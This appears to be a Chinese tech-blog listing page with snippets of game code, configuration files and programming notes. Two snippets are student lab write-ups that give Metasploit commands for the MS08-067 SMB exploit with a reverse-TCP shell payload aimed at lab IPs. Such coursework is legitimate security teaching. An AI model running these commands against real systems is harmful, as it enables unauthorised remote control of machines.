BZOJ4009 & 洛谷3242 & LOJ2113:[HNOI2015]接水果——题解 LOJ6276:果树
https://www.lydsy.com/JudgeOnline/problem.php?id=4009 https://www.luogu.org/problemnew/show/P3242 https://loj.ac/problem/2113 风见幽香非常喜欢玩一个叫做 osu!的游戏,其中她最喜欢玩的模式就是接水果。由于她已经DT FC 了The big black, 她觉得这个游戏太简单了,于是发明了一个更加难的版本。 首先有一个地图,是一棵由 n 个顶点、n-1 条边组成的树(例
day30,异常处理
# 错误 :语法错误 应该在开发的过程中就杜绝 # 异常 # num = 0 # 100/num # 程序中的异常 : 报错之后程序终止 # try: # # name # NameError # int(input('num : ')) # ValueError # dic = {} # dic['k'] # KeyError # class A:pass # a = A() # a.name # AttributeErro
游戏系列~2048(2)
#include <stdio.h> #include <time.h> /* 包含设定随机数种子所需要的time()函数 */ #include <conio.h> /* 包含Windows平台上完成输入字符不带回显和回车确认的getch()函数 */ #include <windows.h> /* 包含Windows平台上完成设定输出光标位置达到清屏功能的函数 */ #include <bits/stdc++.h> using namespace std; void start_game(
20155339 Exp5 MSF基础应用
一个主动攻击实践--ms08_067漏洞 调用该模块:use exploit/windows/smb/ms08_067_netapi并且查看可以使用的载荷show payloads 设置payload,并且tcp反向回连set payload generic/shell_reverse_tcp。 设置回连的IPset LHOST 192.168.224.142。 设置攻击的端口号set LPORT 5339。 设置靶机的IPset RHOST 192.168.224.144。 查看有哪些靶机类
游戏系列~猜数字(4)
#include <cstdlib> #include <cmath> #include <ctime> #include <iostream> using namespace std; #define NUM 4 // 随机产生4个数字,作为答案供使用者猜测 void answer(int *a, int s) { int i, j; srand(time(NULL)); for (i = 0; i < s; ++i) { a[i] = rand()%10; // 确保当前产生的随机数与前面
游戏系列~贪吃蛇(3)
#include<iostream> #include<windows.h> #include<ctime> #include<cstdlib> #include<conio.h> #include <bits/stdc++.h> #define N 21 using namespace std; void gotoxy(int x,int y)//位置函数 { COORD pos; pos.X=2*x; pos.Y=y; SetConsoleCursorPosition(GetStdHand
Log4Net日志组件
1.Nuget下载Log4Net包 2.设置应用程序配置文件App.config <?xml version="1.0" encoding="utf-8" ?>
<configuration>
<configSections>
<section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, log4net" />
</configSections>
<log
面向对象究竟有几大基本特征
面向对象的基本特征中继承,封装和多态是毋庸置疑的,但抽象到底是不是面向对象的基本特征之一,却是众说纷纭。 抽象是面向对象的重要部分,抽象就是忽略一个主题中域当前目标无关的哪些方面。抽象并不打算了解全部问题,而只是考虑其中的一部分。抽象包括两个方面,一是过程抽象,二是数据抽象。 笔者认为抽象是面向对象的重要部分,但不是面向对象的特征之一,因为所有的编程语言都需要抽象! 汉语释义 基本解释 ◎ 特征 tè zhēng。 (1) [Characteristic;Distingushing featu
游戏系列~苍穹世界(5)
#include<stdlib.h> #include<stdio.h> #include<time.h> //suiji #include<string.h> #include<windows.h> //SLEEP函数 struct Player //玩家结构体,并初始化player { char name[21]; int attack; int defense; int health; long int max_health; int level; int exp; int range_
游戏系列~拳皇(7)
#include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> #include<conio.h> #define N 100 int n=0; int Checktoseek(char name[]);//查找 void mainmenu();//菜单 void Register();//登记注册 void Showplayer();//显示当前人物数据 void Showallplayer();//显示所有人
游戏系列~俄罗斯方块(6)
#include <iostream> #include <windows.h> #include <vector> #include <mmsystem.h> #include <bits/stdc++.h> #pragma comment(lib, "winmm.lib") using namespace std; #define GameW 10 #define GameH 20 const int CtrlLeft = GameW*2+4 + 3; struct Point { Poi
游戏系列~扫雷(8)
#include <cstdio> #include <cmath> #include <iostream> #include <fstream> #include <cstdlib> #include <string> #include <iomanip> #include <cstring> #include <ctime> #include <algorithm> #include <queue> #include <map> #include <vector> #include <se
VS2015+OpenGL4.0开发编译时弹出错误:glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _sscanf,该符号在函数 _GetRegistrySysColors@8 中被引用
问题描述: VS2015+OpenGL4.0开发编译时弹出如下所示的错误: 1>glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _sscanf,该符号在函数 _GetRegistrySysColors@8 中被引用 1>glaux.lib(tk.obj) : error LNK2019: 无法解析的外部符号 _vsprintf,该符号在函数 _PrintMessage 中被引用 解决办法: 1、VS2015编译会出现这个问题,解决办法在项目属性->链接
20155320《网络对抗》MSF基础应用
20155320《网络对抗》MSF基础应用 基础问题回答 (1)用自己的话解释什么是exploit,payload,encode 实践过程 使用到的虚拟机IP 虚拟机 IP地址 靶机1 Windows XP 192.168.63.130 靶机2 Vivian xp 192.168.63.129 靶机 192.168.63.131 攻击机 kali2 192.168.63.133 1.1一个主动攻击实践——ms08_067漏洞攻击; 这次需要用到靶机和kali 在kali的终端中输入msfcon
css购物车右上角数字效果
.center-order-send { margin-left: 163rpx; margin-right: 163rpx; position: relative; } .center-order-num-posi{ position: absolute; padding:2rpx 10rpx; border:1px solid #f50000; background-color: #f50000; color:white; border-radius: 30rpx; top:2rpx; l
Ubuntu清华大学镜像源
# 默认注释了源码镜像以提高 apt update 速度,如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb https://mirrors.
ActiveMQ 集群和主从
举例说明: 假设有 3 个 broker 节点,分别是61616,61618, 61620,其中 61616 和 61618 组成主、从节点,而 61616(或61618)和 61620 构成集群。 61616 和 61618 使用 jdbc 持久化,61620 使用 kahaDB。 这样混合配置:能更好地理解主从和集群的区别,61616 和 61618 在同一时刻只有一个 broker 提供服务,而集群是同时在提供服务,消息在集群的节点之间流转。 61616 配置: <beans
xml
今日推荐
周排行